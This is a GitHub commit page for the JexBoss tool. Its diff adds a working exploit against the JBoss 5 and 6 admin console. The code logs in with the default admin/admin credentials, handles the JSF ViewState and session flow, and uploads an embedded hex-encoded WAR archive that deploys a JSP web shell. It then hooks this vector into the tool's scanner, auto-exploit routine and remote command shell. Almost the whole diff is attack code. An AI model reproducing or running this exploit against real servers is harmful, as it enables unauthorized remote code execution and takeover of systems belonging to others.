Skip to content

Commit

Permalink
Added a new exploit for the vector "admin-console". Tested and workin…
Browse files Browse the repository at this point in the history
…g for versions "5" and "6" with default installation.
  • Loading branch information
joaomatosf committed Apr 20, 2016
1 parent 306b295 commit 7411be3
Show file tree
Hide file tree
Showing 3 changed files with 213 additions and 8 deletions.
202 changes: 199 additions & 3 deletions _exploits.py
Original file line number Diff line number Diff line change
Expand Up @@ -19,6 +19,12 @@
"""

from jexboss import *
from random import randint
import urllib
from sys import version_info
if version_info[0] >= 3:
from urllib.parse import quote


def exploit_jmx_console_main_deploy(url):
"""
Expand All @@ -42,6 +48,7 @@ def exploit_jmx_console_main_deploy(url):
pool.request('HEAD', url + payload, redirect=False, headers=headers)
return get_successfully(url, "/jexws/jexws.jsp")


def exploit_jmx_console_file_repository(url):
"""
Exploit DeploymentFileRepository to deploy a JSP shell
Expand Down Expand Up @@ -110,6 +117,7 @@ def exploit_jmx_console_file_repository(url):
pool.request('HEAD', url + payload, redirect=False, headers=headers)
return get_successfully(url, "/jexws/jexws.jsp")


def exploit_jmx_invoker_file_repository(url, version):
"""
Exploits the JMX invoker
Expand Down Expand Up @@ -225,9 +233,10 @@ def exploit_jmx_invoker_file_repository(url, version):

if result == 401:
print(" Retrying...")
pool.urlopen('HEAD', url + "/invoker/JMXInvokerServlet", redirect=False, headers=headers, body=payload)
pool.urlopen('HEAD', url + "/invoker/JMXInvokerServlet", redirect=False, headers=headers, body=payload)
return get_successfully(url, "/jexinv/jexinv.jsp")


def exploit_web_console_invoker(url):
"""
Exploits web console invoker
Expand Down Expand Up @@ -277,5 +286,192 @@ def exploit_web_console_invoker(url):
result = r.status
if result == 401:
print(" Retrying...")
pool.urlopen('HEAD', url + "/web-console/Invoker", redirect=False, headers=headers, body=payload)
return get_successfully(url, "/jexws/jexws.jsp")
pool.urlopen('HEAD', url + "/web-console/Invoker", redirect=False, headers=headers, body=payload)
return get_successfully(url, "/jexws/jexws.jsp")


def get_viewstat_admin_console(page):
page = str(page).replace("\\n", "\n")
for i in page.split('\n'):
if 'javax.faces.ViewState' in i:
if i.count('value') ==1:
return i.split("value=\"")[1].split("\"")[0]
else:
return i.split("value=\"")[2].split("\"")[0]


def get_boundary_admin_console(jboss_version, state, payload):

if jboss_version == 6:
data = "-----------------------------9206186422178394591915652925\r\n"
data += "Content-Disposition: form-data; name=\"createContentForm\"\r\n"
data += "\r\n"
data += "createContentForm\r\n"
data += "-----------------------------9206186422178394591915652925\r\n"
data += "Content-Disposition: form-data; name=\"createContentForm:file\"; filename=\"jexws.war\"\r\n"
data += "Content-Type: application/octet-stream\r\n"
data += "\r\n"
data += payload + "\r\n"
data += "-----------------------------9206186422178394591915652925\r\n"
data += "Content-Disposition: form-data; name=\"createContentForm:rhq_prop-0_328868266\"\r\n"
data += "\r\n"
data += "false\r\n"
data += "-----------------------------9206186422178394591915652925\r\n"
data += "Content-Disposition: form-data; name=\"createContentForm:rhq_prop-0_-1257012452\"\r\n"
data += "\r\n"
data += "false\r\n"
data += "-----------------------------9206186422178394591915652925\r\n"
data += "Content-Disposition: form-data; name=\"createContentForm:addButton\"\r\n"
data += "\r\n"
data += "Continue\r\n"
data += "-----------------------------9206186422178394591915652925\r\n"
data += "Content-Disposition: form-data; name=\"javax.faces.ViewState\"\r\n"
data += "\r\n"
data += state + "\r\n"
data += "-----------------------------9206186422178394591915652925--\r\n"
return data
elif jboss_version == 5:
data = "-----------------------------9206186422178394591915652925\r\n"
data += "Content-Disposition: form-data; name=\"createContentForm\"\r\n"
data += "\r\n"
data += "createContentForm\r\n"
data += "-----------------------------9206186422178394591915652925\r\n"
data += "Content-Disposition: form-data; name=\"createContentForm:file\"; filename=\"jexws.war\"\r\n"
data += "Content-Type: application/octet-stream\r\n"
data += "\r\n"
data += payload + "\r\n"
data += "-----------------------------9206186422178394591915652925\r\n"
data += "Content-Disposition: form-data; name=\"createContentForm:rhq_prop-1995377939_328868266\"\r\n"
data += "\r\n"
data += "false\r\n"
data += "-----------------------------9206186422178394591915652925\r\n"
data += "Content-Disposition: form-data; name=\"createContentForm:addButton\"\r\n"
data += "\r\n"
data += "Continue\r\n"
data += "-----------------------------9206186422178394591915652925\r\n"
data += "Content-Disposition: form-data; name=\"javax.faces.ViewState\"\r\n"
data += "\r\n"
data += state + "\r\n"
data += "-----------------------------9206186422178394591915652925--\r\n"
return data


def url_encode(text):
if version_info[0] >= 3:
return quote(text)
else:
return urllib.quote_plus(text)


def exploit_admin_console(url):
"""
Exploits admin-console
tested and works in JBoss 6
:param url: The URL to exploit
:return: The HTTP status code
"""
# Use default password for Jboss 6
username = "admin"
password = "admin"
headers = {
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Connection": "keep-alive",
"User-Agent": user_agents[randint(0, len(user_agents) - 1)]}

r = pool.request('GET', url+"/admin-console/login.seam", headers=headers)
cookie = r.getheader('set-cookie').split(";")[0]
headers['Cookie'] = cookie
state = get_viewstat_admin_console(r.data)
#payload = ("login_form=login_form&login_form:name=%s&login_form:password=%s&login_form:submit=Login"
# "&javax.faces.ViewState=%s" % (username, password, state))
payload = "login_form=login_form&login_form%3Aname="+username+"&login_form%3Apassword="+password+"&login_form%3Asubmit=Login&javax.faces.ViewState="+url_encode(state)
headers['Content-Type'] = "application/x-www-form-urlencoded"
print(GREEN + "\n * Info: Trying to perform authentication with default credentials..." +ENDC)
r = pool.request('POST', url+"/admin-console/login.seam", body=payload, headers=headers, redirect=False)
state = get_viewstat_admin_console(r.data)
if r.status == 302:
print(GREEN + " * Info: Successfully logged in! Wait..." + ENDC)
location = r.getheader('Location')
conversation_id = location.split('=')[1]
r = pool.request('GET', location, headers=headers)
if state == None:
sleep(7)
r = pool.request('GET', url+"/admin-console/secure/summary.seam?path=-3%2FApplications%2FWeb+Application+%28WAR"
"%29&conversationId="+conversation_id+"&conversationPropagation=end", headers=headers)
conversation_id = str(int(conversation_id)+1)
r = pool.request('GET', url+"/admin-console/secure/resourceTypeSummary.seam?actionMethod=secure%2FresourceType"
"Summary.xhtml%3AcreateContentBackedResourceAction.init%28%29&conversationId="
+ conversation_id, headers=headers)
state = get_viewstat_admin_console(r.data)

headers['Content-Type'] = "multipart/form-data; boundary=---------------------------9206186422178394591915652925"

payload = ("\x50\x4b\x03\x04\x14\x00\x08\x08\x08\x00\xa5\x8e\x90\x48\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x09\x00\x04\x00\x4d\x45\x54\x41\x2d\x49\x4e"
"\x46\x2f\xfe\xca\x00\x00\x03\x00\x50\x4b\x07\x08\x00\x00\x00\x00\x02\x00\x00"
"\x00\x00\x00\x00\x00\x50\x4b\x03\x04\x14\x00\x08\x08\x08\x00\xa5\x8e\x90\x48"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x4d\x45\x54"
"\x41\x2d\x49\x4e\x46\x2f\x4d\x41\x4e\x49\x46\x45\x53\x54\x2e\x4d\x46\xf3\x4d"
"\xcc\xcb\x4c\x4b\x2d\x2e\xd1\x0d\x4b\x2d\x2a\xce\xcc\xcf\xb3\x52\x30\xd4\x33"
"\xe0\xe5\x72\x2e\x4a\x4d\x2c\x49\x4d\xd1\x75\xaa\x04\x09\x58\xe8\x19\xc4\x9b"
"\x9b\x2b\x68\xf8\x17\x25\x26\xe7\xa4\x2a\x38\xe7\x17\x15\xe4\x17\x25\x96\x00"
"\x95\x6b\xf2\x72\xf1\x72\x01\x00\x50\x4b\x07\x08\x05\xa0\x0e\xbc\x43\x00\x00"
"\x00\x44\x00\x00\x00\x50\x4b\x03\x04\x14\x00\x08\x08\x08\x00\x40\xb9\x8e\x48"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x6a\x65\x78"
"\x77\x73\x2e\x6a\x73\x70\x7d\x53\x4d\x4f\x1b\x31\x10\xbd\xf7\x57\x0c\x96\x22"
"\x79\x09\x71\x38\x56\x34\x44\xa5\x14\x44\x25\xa4\xa2\xd0\xa8\x07\x84\x2a\xb3"
"\x3b\xc9\x1a\xbc\xb6\x6b\xcf\x36\x41\x90\xff\xde\xf1\x06\x9a\xb4\x14\x6e\xe3"
"\xf9\x78\x33\xf3\xde\x78\xd4\xfb\x08\x41\xcf\x11\x4c\x13\x7c\xa4\x43\x71\xab"
"\x7f\x69\xd5\x92\xb1\x6a\x77\xaf\xb3\x8d\x67\x0b\x3a\xd3\x21\xa9\x5d\xd1\xe5"
"\x9f\xb8\xd2\x57\xc6\xcd\x0f\xc5\xf4\xdb\xe9\xe0\xbd\xe8\x8d\x47\x21\xe2\x78"
"\xd4\x33\x33\x90\x11\x7f\xb6\x98\x48\xcd\x91\x2e\x74\xd4\x0d\x12\x46\x29\x42"
"\x08\xa2\x80\x9d\x43\x70\xad\xb5\x05\x3c\x4c\x27\xe7\xd0\x46\x0b\xec\xc0\x05"
"\xf0\x4b\x8a\x9a\x28\x1c\x0c\x87\x0b\xbc\x49\x35\x5a\xab\x6e\x71\x79\xe3\x53"
"\xca\x8d\x87\xa2\xf8\x00\x67\x1c\xe7\xc4\x63\xef\x1c\x96\x64\xbc\x83\xb2\xc6"
"\xf2\x8e\x21\xe4\x8b\x50\x91\xc1\x95\x0f\xe8\x36\x3e\xc9\x18\x97\x14\x79\x6e"
"\x58\x44\x43\x18\x30\x36\x26\xa5\x0c\xc4\x10\x79\x8c\xcf\x9a\x50\x16\x8a\xfc"
"\x3a\x8d\xcd\x14\xac\x21\x29\x0e\x44\x71\xb5\x7f\xdd\x17\xb5\xb2\x7e\x2e\x0a"
"\x15\x31\x58\x5d\xe2\x91\xb5\x52\x80\xd8\x03\x31\x10\x1b\xf0\x54\x5f\x5d\x33"
"\xe2\x1b\x3c\x3c\xc3\x42\xae\xea\x96\x50\x09\x69\xb2\x2e\xb8\x88\x3c\x76\xa4"
"\x7b\x29\xa6\x09\xe3\xe0\x68\x8e\x8e\xb8\xc5\x16\xdc\x19\xea\x2a\x63\x9d\xf9"
"\x44\xa2\xe8\x8b\xd1\x40\xf4\xb7\xc2\x13\x6c\x3c\xe1\x51\x55\x45\x59\x30\x7e"
"\xd6\x64\x27\x6f\x77\x6a\x2c\x4a\xd1\xb5\xfb\x21\xfa\xff\x50\x50\x28\x5c\x9a"
"\x44\x89\x4b\x1e\xe0\x82\xf7\xa0\xef\x39\x21\xae\xa9\x8a\x4f\x3a\x6d\x05\x5e"
"\x47\x7a\x5e\x89\x47\xf9\xe2\x42\x4b\x4c\x0b\xea\x26\xb3\xbf\xc6\x52\xa5\xf5"
"\x09\xf3\x7b\x05\x68\x13\x76\x13\x32\x69\xfb\xd7\xaa\xf4\x8e\xb4\x71\x49\x0a"
"\x53\xf1\xb9\x3c\x3e\xc2\x0b\x7f\x60\x7b\x66\x58\x84\xe2\xd5\x36\x14\xef\x21"
"\x2f\xe1\x4b\x4c\x09\xc2\x9a\x82\xcb\xfb\x44\xd8\x74\x6a\xfc\x21\xd8\xf3\x71"
"\xb1\x30\x22\x4b\x7e\xee\x17\x18\x8f\x75\x1e\x4c\x19\x57\xe1\xf2\xeb\x4c\x8a"
"\x85\x71\x3c\xc6\x18\xf6\x99\x94\xc0\x1c\x4c\x5a\x47\xa6\xc1\x8e\xe5\xb5\x29"
"\x33\x71\x58\x32\x1b\x4d\x95\x2d\x18\x96\x20\xfa\xa9\xde\x6c\xf7\xf0\x76\x61"
"\x4e\x5d\xc1\xa7\x76\x36\xc3\x88\xd5\xa4\x93\x16\xaa\x27\xbe\xff\x76\x77\x37"
"\xba\xb5\xeb\x93\x37\xbc\xa0\xa0\xd8\x1c\x63\x65\x52\x16\xaf\xe2\x93\xd5\xd5"
"\xb9\x71\x1d\xef\x8b\x9a\x4f\x01\x64\x17\xdb\x7c\x49\xf0\x2d\xa9\x90\x15\xb6"
"\xae\x8b\x71\xe6\x7f\xcb\x57\xb0\x2a\x35\x95\xb5\x3c\x59\x96\x18\xba\x9f\x88"
"\x5c\xbf\x5d\x2e\xa6\xee\xce\xf9\x05\x7f\x51\xdf\x34\xda\x55\x8a\x2f\x7d\xb5"
"\xea\x8d\xdf\xfd\x06\x50\x4b\x07\x08\xf7\xb4\xc8\x52\x4c\x02\x00\x00\x73\x04"
"\x00\x00\x50\x4b\x01\x02\x14\x00\x14\x00\x08\x08\x08\x00\xa5\x8e\x90\x48\x00"
"\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x09\x00\x04\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x4d\x45\x54\x41\x2d\x49\x4e\x46\x2f"
"\xfe\xca\x00\x00\x50\x4b\x01\x02\x14\x00\x14\x00\x08\x08\x08\x00\xa5\x8e\x90"
"\x48\x05\xa0\x0e\xbc\x43\x00\x00\x00\x44\x00\x00\x00\x14\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x3d\x00\x00\x00\x4d\x45\x54\x41\x2d\x49\x4e"
"\x46\x2f\x4d\x41\x4e\x49\x46\x45\x53\x54\x2e\x4d\x46\x50\x4b\x01\x02\x14\x00"
"\x14\x00\x08\x08\x08\x00\x40\xb9\x8e\x48\xf7\xb4\xc8\x52\x4c\x02\x00\x00\x73"
"\x04\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc2\x00"
"\x00\x00\x6a\x65\x78\x77\x73\x2e\x6a\x73\x70\x50\x4b\x05\x06\x00\x00\x00\x00"
"\x03\x00\x03\x00\xb4\x00\x00\x00\x45\x03\x00\x00\x00\x00")
data = get_boundary_admin_console(jboss_version=6, state=state, payload=payload)
try:
r = pool.request('POST', url + "/admin-console/secure/resourceContentCreate.seam", headers=headers,body=data)
if r.status != 302:
data = get_boundary_admin_console(jboss_version=5, state=state, payload=payload)
r = pool.request('POST', url + "/admin-console/secure/resourceContentCreate.seam", headers=headers, body=data)
except:
sleep(1)

return get_successfully(url, "/jexws/jexws.jsp")

else:
print(RED + "\n * Authentication failed!" + ENDC)
return 404
2 changes: 2 additions & 0 deletions _updates.py
Original file line number Diff line number Diff line change
Expand Up @@ -38,6 +38,7 @@
NORMAL = '\033[0m'
ENDC = '\033[0m'


def auto_update():
"""
Download and deploy the latest version
Expand Down Expand Up @@ -80,6 +81,7 @@ def auto_update():

return True


def check_updates():
"""
Checks if there is new version available
Expand Down
17 changes: 12 additions & 5 deletions jexboss.py
Original file line number Diff line number Diff line change
Expand Up @@ -28,7 +28,7 @@
ENDC = '\033[0m'

__author__ = "João Filho Matos Figueiredo <joaomatosf@gmail.com>"
__version = "1.0.6"
__version = "1.0.7"

from sys import argv, exit, version_info
from _exploits import *
Expand Down Expand Up @@ -111,7 +111,8 @@ def check_vul(url):

paths = {"jmx-console": "/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo",
"web-console" : "/web-console/ServerInfo.jsp",
"JMXInvokerServlet": "/invoker/JMXInvokerServlet"}
"JMXInvokerServlet": "/invoker/JMXInvokerServlet",
"admin-console" : "/admin-console/"}

for i in paths.keys():
try:
Expand All @@ -122,7 +123,10 @@ def check_vul(url):
url_redirect = r.get_redirect_location()
print(GREEN + "[ REDIRECT ]\n * The server sent a redirect to: %s\n" % url_redirect)
elif paths[i] == 200 or paths[i] == 500:
print(RED + "[ VULNERABLE ]" + ENDC)
if i == "admin-console":
print(RED + "[ EXPOSED ]" + ENDC)
else:
print(RED + "[ VULNERABLE ]" + ENDC)
else:
print(GREEN + "[ OK ]")
except:
Expand All @@ -140,6 +144,7 @@ def auto_exploit(url, exploit_type):
exploitJmxConsoleMainDeploy: tested and working in JBoss 4 and 6
exploitWebConsoleInvoker: tested and working in JBoss 4
exploitJMXInvokerFileRepository: tested and working in JBoss 4 and 5
exploitAdminConsole: tested and working in JBoss 6 (with default password)
"""
print(GREEN + "\n * Sending exploit code to %s. Please wait...\n" % url)
result = 505
Expand All @@ -153,6 +158,8 @@ def auto_exploit(url, exploit_type):
result = exploit_jmx_invoker_file_repository(url, 0)
if result != 200 and result != 500:
result = exploit_jmx_invoker_file_repository(url, 1)
elif exploit_type == "admin-console":
result = exploit_admin_console(url)

if result == 200 or result == 500:
print(GREEN + " * Successfully deployed code! Starting command shell. Please wait...\n" + ENDC)
Expand All @@ -172,7 +179,7 @@ def shell_http(url, shell_type):
"Connection": "keep-alive",
"User-Agent": user_agents[randint(0, len(user_agents) - 1)]}

if shell_type == "jmx-console" or shell_type == "web-console":
if shell_type == "jmx-console" or shell_type == "web-console" or shell_type == "admin-console":
path = '/jexws/jexws.jsp?'
elif shell_type == "JMXInvokerServlet":
path = '/jexinv/jexinv.jsp?'
Expand Down Expand Up @@ -279,7 +286,7 @@ def main():
scan_results = check_vul(url)

# performs exploitation
for i in ["jmx-console", "web-console", "JMXInvokerServlet"]:
for i in ["jmx-console", "web-console", "JMXInvokerServlet", "admin-console"]:
if scan_results[i] == 200 or scan_results[i] == 500:
print(BLUE + "\n\n * Do you want to try to run an automated exploitation via \"" +
BOLD + i + NORMAL + "\" ?\n" +
Expand Down

0 comments on commit 7411be3

Please sign in to comment.